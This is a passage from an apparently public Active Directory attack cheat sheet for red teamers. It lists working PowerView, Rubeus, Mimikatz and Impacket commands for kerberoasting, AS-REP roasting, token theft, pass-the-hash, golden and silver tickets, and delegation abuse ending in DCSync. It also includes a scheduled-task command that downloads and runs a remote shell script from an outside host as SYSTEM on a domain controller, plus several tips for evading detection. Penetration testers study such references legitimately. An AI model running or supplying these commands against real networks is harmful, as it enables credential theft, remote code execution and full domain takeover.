</span></span><span style="display:flex;"><span><span style="color:#24909d">Find-LocalAdminAccess</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Hunt for sessions of interesting users on machines where you have access (also noisy 🚩)</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Find-DomainUserLocation</span> -CheckAccess | ?{<span style="color:#40ffff">$_</span>.LocalAdmin -Eq True }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Look for kerberoastable users</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainUser</span> -SPN | <span style="color:#24909d">select </span>name,serviceprincipalname
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Look for AS-REP roastable users</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainUser</span> -PreauthNotRequired | <span style="color:#24909d">select </span>name
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Look for interesting ACL within the domain, filtering on a specific user or group you have compromised</span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic">## Exploitation depends on the identified ACL, some techniques are discussed in this cheat sheet</span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic">## Example for GenericWrite on user: Disable preauth or add SPN for targeted kerberoast (see below)</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Find-InterestingDomainAcl</span> -ResolveGUIDs | ?{<span style="color:#40ffff">$_</span>.IdentityReferenceName -match <span style="color:#ed9d13">&#34;UserOrGroupToQuery&#34;</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Look for servers with Unconstrained Delegation enabled</span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic">## If available and you have admin privs on this server, get user TGT (see below)</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainComputer</span> -Unconstrained
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Look for users or computers with Constrained Delegation enabled</span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic">## If available and you have user/computer hash, access service machine as DA (see below)</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainUser</span> -TrustedToAuth | <span style="color:#24909d">select </span>userprincipalname,<span style="color:#24909d">msds-allowedtodelegateto</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Get-DomainComputer</span> -TrustedToAuth | <span style="color:#24909d">select </span>name,<span style="color:#24909d">msds-allowedtodelegateto</span>
</span></span></code></pre></div><h3 id="bloodhound">BloodHound</h3>
<p>Use <code>Invoke-BloodHound</code> from <code>SharpHound.ps1</code>, or use <code>SharpHound.exe</code>. Both can be run reflectively, get them <a href="https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors">here</a>. Examples below use the PowerShell variant but arguments are identical.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Run all checks, including restricted groups enforced through the domain  🚩</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-BloodHound</span> -CollectionMethod All,GPOLocalGroup
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts so is VERY noisy 🚩</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-BloodHound</span> -CollectionMethod LoggedOn
</span></span></code></pre></div><p>For real engagements definitely look into the <a href="https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html">various arguments</a> that BloodHound provides for more stealthy collection and exfiltration of data.</p>
<h3 id="kerberoasting">Kerberoasting</h3>
<h4 id="automatic">Automatic</h4>
<p>With PowerView:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Get-DomainSPNTicket</span> -SPN <span style="color:#ed9d13">&#34;MSSQLSvc/sqlserver.targetdomain.com&#34;</span>
</span></span></code></pre></div><p>Crack the hash with Hashcat:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hashcat -a <span style="color:#3677a9">0</span> -m <span style="color:#3677a9">13100</span> hash.txt <span style="color:#ed9d13">`</span><span style="color:#24909d">pwd</span><span style="color:#ed9d13">`</span>/rockyou.txt --rules-file <span style="color:#ed9d13">`</span><span style="color:#24909d">pwd</span><span style="color:#ed9d13">`</span>/hashcat/rules/best64.rule
</span></span></code></pre></div><h4 id="manual">Manual</h4>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Request TGS for kerberoastable account (SPN)</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Add-Type</span> -AssemblyName System.IdentityModel
</span></span><span style="display:flex;"><span><span style="color:#24909d">New-Object</span> System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList <span style="color:#ed9d13">&#34;MSSQLSvc/sqlserver.targetdomain.com&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Dump TGS to disk</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-Mimikatz</span> -Command <span style="color:#ed9d13">&#39;&#34;kerberos::list /export&#34;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Crack with TGSRepCrack</span>
</span></span><span style="display:flex;"><span>python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi
</span></span></code></pre></div><h4 id="targeted-kerberoasting-by-setting-spn">Targeted kerberoasting by setting SPN</h4>
<p>We need have ACL write permissions to set UserAccountControl flags for the target user, see above for identification of interesting ACLs. Using PowerView:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Set-DomainObject</span> -Identity TargetUser -Set @{serviceprincipalname=<span style="color:#ed9d13">&#39;any/thing&#39;</span>}
</span></span></code></pre></div><h3 id="as-rep-roasting">AS-REP roasting</h3>
<p>Get the hash for a roastable user (see above for hunting). Using <code>ASREPRoast.ps1</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Get-ASREPHash</span> -UserName TargetUser
</span></span></code></pre></div><p>Crack the hash with Hashcat:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hashcat -a <span style="color:#3677a9">0</span> -m <span style="color:#3677a9">18200</span> hash.txt <span style="color:#ed9d13">`</span><span style="color:#24909d">pwd</span><span style="color:#ed9d13">`</span>/rockyou.txt --rules-file <span style="color:#ed9d13">`</span><span style="color:#24909d">pwd</span><span style="color:#ed9d13">`</span>/hashcat/rules/best64.rule
</span></span></code></pre></div><h4 id="targeted-as-rep-roasting-by-disabling-kerberos-pre-authentication">Targeted AS-REP roasting by disabling Kerberos pre-authentication</h4>
<p>Again, we need ACL write permissions to set UserAccountControl flags for the target user. Using PowerView:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Set-DomainObject</span> -Identity TargetUser -XOR @{useraccountcontrol=<span style="color:#3677a9">4194304</span>}
</span></span></code></pre></div><h3 id="token-manipulation">Token Manipulation</h3>
<p>Tokens can be impersonated from other users with a session/running processes on the machine. Most C2 frameworks have functionality for this built-in (such as the &lsquo;Steal Token&rsquo; functionality in Cobalt Strike).</p>
<h4 id="incognito">Incognito</h4>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Show tokens on the machine</span>
</span></span><span style="display:flex;"><span>.\incognito.exe list_tokens -u
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Start new process with token of a specific user</span>
</span></span><span style="display:flex;"><span>.\incognito.exe execute -c <span style="color:#ed9d13">&#34;domain\user&#34;</span> C:\Windows\system32\calc.exe
</span></span></code></pre></div><blockquote>
<p>If you&rsquo;re using Meterpreter, you can use the built-in Incognito module with <code>use incognito</code>, the same commands are available.</p></blockquote>
<h4 id="invoke-tokenmanipulation">Invoke-TokenManipulation</h4>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Show all tokens on the machine</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-TokenManipulation</span> -ShowAll
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Show only unique, usable tokens on the machine</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-TokenManipulation</span> -Enumerate
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Start new process with token of a specific user</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-TokenManipulation</span> -ImpersonateUser -Username <span style="color:#ed9d13">&#34;domain\user&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Start new process with token of another process</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-TokenManipulation</span> -CreateProcess <span style="color:#ed9d13">&#34;C:\Windows\system32\calc.exe&#34;</span> -ProcessId <span style="color:#3677a9">500</span>
</span></span></code></pre></div><h3 id="lateral-movement-with-rubeus">Lateral Movement with Rubeus</h3>
<p>We can use Rubeus to execute a technique called &ldquo;Overpass-the-Hash&rdquo;. In this technique, instead of passing the hash directly (another technique known as Pass-the-Hash), we use the NTLM hash of an account to request a valid Kerberos ticket (TGT). We can then use this ticket to authenticate towards the domain as the target user.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Request a TGT as the target user and pass it into the current session</span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># NOTE: Make sure to clear tickets in the current session (with &#39;klist purge&#39;) to ensure you don&#39;t have multiple active TGTs</span>
</span></span><span style="display:flex;"><span>.\Rubeus.exe asktgt /user<span style="color:#a61717;background-color:#e3d2d2">:</span>Administrator /rc4<span style="color:#a61717;background-color:#e3d2d2">:</span>[<span style="color:#40ffff">NTLMHASH</span>] /ptt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># More stealthy variant, but requires the AES256 key (see &#39;Dumping OS credentials with Mimikatz&#39; section)</span>
</span></span><span style="display:flex;"><span>.\Rubeus.exe asktgt /user<span style="color:#a61717;background-color:#e3d2d2">:</span>Administrator /aes256<span style="color:#a61717;background-color:#e3d2d2">:</span>[<span style="color:#40ffff">AES256KEY</span>] /opsec /ptt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)</span>
</span></span><span style="display:flex;"><span>.\Rubeus.exe asktgt /user<span style="color:#a61717;background-color:#e3d2d2">:</span>Administrator /rc4<span style="color:#a61717;background-color:#e3d2d2">:</span>[<span style="color:#40ffff">NTLMHASH</span>] /createnetonly<span style="color:#a61717;background-color:#e3d2d2">:</span>C:\Windows\System32\cmd.exe
</span></span></code></pre></div><p>Once we have a TGT as the target user, we can use services as this user in a domain context, allowing us to move laterally.</p>
<h3 id="lateral-movement-with-mimikatz">Lateral Movement with Mimikatz</h3>
<p>Note that Mimikatz is incredibly versatile and is discussed in multiple sections throughout this blog. Because of this, however, the binary is also very well-detected. If you need to run Mimikatz on your target (not recommended), executing a custom version reflectively is your best bet. There are also options such as <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1">Invoke-MimiKatz</a> or <a href="https://github.com/GhostPack/SafetyKatz">Safetykatz</a>. Note that the latter is more stealthy but does not include all functionality.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span># Overpass-the-hash (more risky than Rubeus, writes to LSASS memory)
</span></span><span style="display:flex;"><span>sekurlsa::pth /user:Administrator /domain:targetdomain.com /ntlm:[NTLMHASH] /run:powershell.exe
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Or, a more opsec-safe version that uses the AES256 key (similar to with Rubeus above) - works for multiple Mimikatz commands
</span></span><span style="display:flex;"><span>sekurlsa::pth /user:Administrator /domain:targetdomain.com /aes256:[AES256KEY] /run:powershell.exe
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Golden ticket (domain admin, w/ some ticket properties to avoid detection)
</span></span><span style="display:flex;"><span>kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Silver ticket for a specific SPN with a compromised service / machine account
</span></span><span style="display:flex;"><span>kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.targetdomain.com /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt
</span></span></code></pre></div><blockquote>
<p>A nice overview of the SPNs relevant for offensive purposes is provided <a href="https://adsecurity.org/?p=2011">here</a> (scroll down) and <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#pass-the-ticket-silver-tickets">here</a>.</p></blockquote>
<h3 id="command-execution-with-scheduled-tasks">Command execution with scheduled tasks</h3>
<p><em>Requires &lsquo;Host&rsquo; SPN</em></p>
<p>To create a task:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Mind the quotes. Use encoded commands if quoting becomes too much of a pain</span>
</span></span><span style="display:flex;"><span>schtasks /create /tn <span style="color:#ed9d13">&#34;shell&#34;</span> /ru <span style="color:#ed9d13">&#34;NT Authority\SYSTEM&#34;</span> /s dc.targetdomain.com /<span style="color:#24909d">sc </span>weekly /tr <span style="color:#ed9d13">&#34;Powershell.exe -c &#39;IEX (New-Object Net.WebClient).DownloadString(&#39;&#39;http://172.16.100.55/Invoke-PowerShellTcpRun.ps1&#39;&#39;&#39;)&#39;&#34;</span>
</span></span></code></pre></div><p>To trigger the task:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>schtasks /RUN /TN <span style="color:#ed9d13">&#34;shell&#34;</span> /s dc.targetdomain.com
</span></span></code></pre></div><h3 id="command-execution-with-wmi">Command execution with WMI</h3>
<p><em>Requires &lsquo;Host&rsquo; and &lsquo;RPCSS&rsquo; SPNs</em></p>
<h4 id="from-windows">From Windows</h4>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Invoke-WmiMethod</span> win32_process -ComputerName dc.targetdomain.com -name create -argumentlist <span style="color:#ed9d13">&#34;powershell.exe -e </span><span style="color:#40ffff">$encodedCommand</span><span style="color:#ed9d13">&#34;</span>
</span></span></code></pre></div><h4 id="from-linux">From Linux</h4>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># with password</span>
</span></span><span style="display:flex;"><span>impacket-wmiexec DOMAIN/targetuser:password@172.16.4.101
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># with hash</span>
</span></span><span style="display:flex;"><span>impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -hashes :e0e223d63905f5a7796fb1006e7dc594
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># with Kerberos authentication (make sure your client is setup to use the right ticket, and that you have a TGS with the right SPNs)</span>
</span></span><span style="display:flex;"><span>impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -no-pass -k
</span></span></code></pre></div><h3 id="command-execution-with-powershell-remoting">Command execution with PowerShell Remoting</h3>
<p><em>Requires &lsquo;CIFS&rsquo; and &lsquo;HTTP&rsquo; SPNs. May also need the &lsquo;WSMAN&rsquo; or &lsquo;RPCSS&rsquo; SPNs (depending on OS version)</em></p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Create credential to run as another user (not needed after e.g. Overpass-the-Hash)</span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Leave out -Credential $Cred in the below commands to run as the current user instead</span>
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$SecPassword</span> = <span style="color:#24909d">ConvertTo-SecureString</span> <span style="color:#ed9d13">&#39;VictimUserPassword&#39;</span> -AsPlainText -Force
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$Cred</span> = <span style="color:#24909d">New-Object</span> System.Management.Automation.PSCredential(<span style="color:#ed9d13">&#39;DOMAIN\targetuser&#39;</span>, <span style="color:#40ffff">$SecPassword</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Run a command remotely (can be used on multiple machines at once)</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-Command</span> -Credential <span style="color:#40ffff">$Cred</span> -ComputerName dc.targetdomain.com -ScriptBlock {whoami; hostname}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Launch a session as another user (prompt for password instead, for use with e.g. RDP)</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Enter-PsSession</span> -ComputerName dc.targetdomain.com -Credential DOMAIN/targetuser
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Create a persistent session (will remember variables etc.), load a script into said session, and enter a remote session prompt</span>
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$sess</span> = <span style="color:#24909d">New-PsSession</span> -Credential <span style="color:#40ffff">$Cred</span> -ComputerName dc.targetdomain.com
</span></span><span style="display:flex;"><span><span style="color:#24909d">Invoke-Command</span> -Session <span style="color:#40ffff">$sess</span> -FilePath c:\path\to\file.ps1
</span></span><span style="display:flex;"><span><span style="color:#24909d">Enter-PsSession</span> -Session <span style="color:#40ffff">$sess</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Copy files to or from an active PowerShell remoting session</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Copy-Item</span> -Path .\<span style="color:#24909d">Invoke-Mimikatz</span>.ps1 -ToSession <span style="color:#40ffff">$sess</span> -Destination <span style="color:#ed9d13">&#34;C:\Users\public\&#34;</span>
</span></span></code></pre></div><h3 id="unconstrained-delegation">Unconstrained delegation</h3>
<p>Unconstrained Delegation can be set on a <em>frontend service</em> (e.g., an IIS web server) to allow it to delegate on behalf of a user to <em>any service in the domain</em> (towards a <em>backend service</em>, such as an MSSQL database).</p>
<p>DACL UAC property: <code>TrustedForDelegation</code>.</p>
<h4 id="exploitation">Exploitation</h4>
<p>With administrative privileges on a server with Unconstrained Delegation set, we can dump the TGTs for other users that have a connection. If we do this successfully, we can impersonate the victim user towards any service in the domain.</p>
<p>With Mimikatz:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>sekurlsa::tickets /export
</span></span><span style="display:flex;"><span>kerberos::ptt c:\path\to\ticket.kirbi
</span></span></code></pre></div><p>Or with Rubeus:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>.\Rubeus.exe triage
</span></span><span style="display:flex;"><span>.\Rubeus.exe dump /luid<span style="color:#a61717;background-color:#e3d2d2">:</span>0x5379f2 /nowrap
</span></span><span style="display:flex;"><span>.\Rubeus.exe ptt /ticket<span style="color:#a61717;background-color:#e3d2d2">:</span>doIFSDCC[...]
</span></span></code></pre></div><p>We can also gain the hash for a domain controller machine account, if that DC is vulnerable to the printer bug. If we do this successfully, we can DCSync the domain controller (see below) to completely compromise the current domain.</p>
<p>On the server with Unconstrained Delegation, monitor for new tickets with Rubeus.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>.\Rubeus.exe monitor /interval<span style="color:#a61717;background-color:#e3d2d2">:</span><span style="color:#3677a9">5</span> /nowrap
</span></span></code></pre></div><p>From attacking machine, entice the Domain Controller to connect using the printer bug. Binary from <a href="https://github.com/leechristensen/SpoolSample">here</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>.\<span style="color:#24909d">MS-RPRN</span>.exe \\dc.targetdomain.com \\<span style="color:#24909d">unconstrained-server</span>.targetdomain.com
</span></span></code></pre></div><p>The TGT for the machine account of the DC should come in in the first session. We can pass this ticket into our current session to gain DCSync privileges (see below).</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>.\Rubeus.exe ptt /ticket<span style="color:#a61717;background-color:#e3d2d2">:</span>doIFxTCCBc...
</span></span></code></pre></div><h3 id="constrained-delegation">Constrained delegation</h3>
<p>Constrained delegation can be set on the <em>frontend server</em> (e.g. IIS) to allow it to delegate to <em>only selected backend services</em> (e.g. MSSQL) on behalf of the user.</p>
<p>DACL UAC property: <code>TrustedToAuthForDelegation</code>. This allows <code>s4u2self</code>, i.e. requesting a TGS on behalf of <em>anyone</em> to oneself, using just the NTLM password hash. This effectively allows the service to impersonate other users in the domain with just their hash, and is useful in situations where Kerberos isn&rsquo;t used between the user and frontend.</p>
<p>DACL Property: <code>msDS-AllowedToDelegateTo</code>. This property contains the SPNs it is allowed to use <code>s4u2proxy</code> on, i.e. requesting a forwardable TGS for that server based on an existing TGS (often the one gained from using <code>s4u2self</code>). This effectively defines the backend services that constrained delegation is allowed for.</p>
<p><strong>NOTE:</strong> These properties do NOT have to exist together! If <code>s4u2proxy</code> is allowed without <code>s4u2self</code>, user interaction is required to get a valid TGS to the frontend service from a user, similar to unconstrained delegation.</p>
<h4 id="exploitation-1">Exploitation</h4>
<p>In this case, we use Rubeus to automatically request a TGT and then a TGS with the <code>ldap</code> SPN to allow us to DCSync using a machine account.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get a TGT using the compromised service account with delegation set (not needed if you already have an active session or token as this user)</span>
</span></span><span style="display:flex;"><span>.\Rubeus.exe asktgt /user<span style="color:#a61717;background-color:#e3d2d2">:</span>svc_with_delegation /domain<span style="color:#a61717;background-color:#e3d2d2">:</span>targetdomain.com /rc4<span style="color:#a61717;background-color:#e3d2d2">:</span>2892D26CDF84D7A70E2EB3B9F05C425E
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN</span>
</span></span><span style="display:flex;"><span>.\Rubeus.exe s4u /ticket<span style="color:#a61717;background-color:#e3d2d2">:</span>doIE+jCCBP... /impersonateuser<span style="color:#a61717;background-color:#e3d2d2">:</span>Administrator /msdsspn<span style="color:#a61717;background-color:#e3d2d2">:</span>time/dc /ptt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Same as the two above steps, but access the LDAP service on the DC instead (for dcsync)</span>
</span></span><span style="display:flex;"><span>.\Rubeus.exe s4u /user<span style="color:#a61717;background-color:#e3d2d2">:</span>sa_with_delegation /impersonateuser<span style="color:#a61717;background-color:#e3d2d2">:</span>Administrator /msdsspn<span style="color:#a61717;background-color:#e3d2d2">:</span>time/dc /altservice<span style="color:#a61717;background-color:#e3d2d2">:</span>ldap /ptt /rc4<span style="color:#a61717;background-color:#e3d2d2">:</span>2892D26CDF84D7A70E2EB3B9F05C425E
</span></span></code></pre></div><h3 id="resource-based-constrained-delegation">Resource-based constrained delegation</h3>
<p>Resource-Based Constrained Delegation (RBCD) configures the <em>backend server</em> (e.g. MSSQL) to allow <em>only selected frontend services</em> (e.g. IIS) to delegate on behalf of the user. This makes it easier for specific server administrators to configure delegation, without requiring domain admin privileges.</p>
<p>DACL Property: <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code>.</p>
<p>In this scenario, <code>s4u2self</code> and <code>s4u2proxy</code> are used as above to request a forwardable ticket on behalf of the user. However, with RBCD, the KDC checks if the SPN for the requesting service (i.e., the <em>frontend service</em>) is present in the <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> property of the <em>backend service</em>. This means that the <em>frontend service</em> needs to have an SPN set. Thus, attacks against RBCD have to be performed from either a service account with SPN or a machine account.</p>
<h4 id="exploitation-2">Exploitation</h4>
<p>If we compromise a <em>frontend service</em> that appears in the RBCD property of a <em>backend service</em>, exploitation is the same as with constrained delegation above. This is however not too common.</p>
<p>A more often-seen attack to RBCD is when we have <code>GenericWrite</code>, <code>GenericAll</code>, <code>WriteProperty</code>, or <code>WriteDACL</code> permissions to a computer object in the domain. This means we can write the <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> property on this machine account to add a controlled SPN or machine account to be trusted for delegation. We can even create a new machine account and add it. This allows us to compromise the target machine in the context of any user, as with constrained delegation.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Create a new machine account using PowerMad</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">New-MachineAccount</span> -MachineAccount NewMachine -Password $(<span style="color:#24909d">ConvertTo-SecureString</span> <span style="color:#ed9d13">&#39;P4ssword123!&#39;</span> -AsPlainText -Force)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target</span>
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$sid</span> = <span style="color:#24909d">Get-DomainComputer</span> -Identity NewMachine -Properties objectsid | <span style="color:#24909d">Select </span>-Expand objectsid
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$SD</span> = <span style="color:#24909d">New-Object</span> Security.AccessControl.RawSecurityDescriptor -ArgumentList <span style="color:#ed9d13">&#34;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;</span>$(<span style="color:#40ffff">$sid</span>)<span style="color:#ed9d13">)&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$SDbytes</span> = <span style="color:#24909d">New-Object</span> byte[] (<span style="color:#40ffff">$SD</span>.BinaryLength)
</span></span><span style="display:flex;"><span><span style="color:#40ffff">$SD</span>.GetBinaryForm(<span style="color:#40ffff">$SDbytes</span>,<span style="color:#3677a9">0</span>)
</span></span><span style="display:flex;"><span>
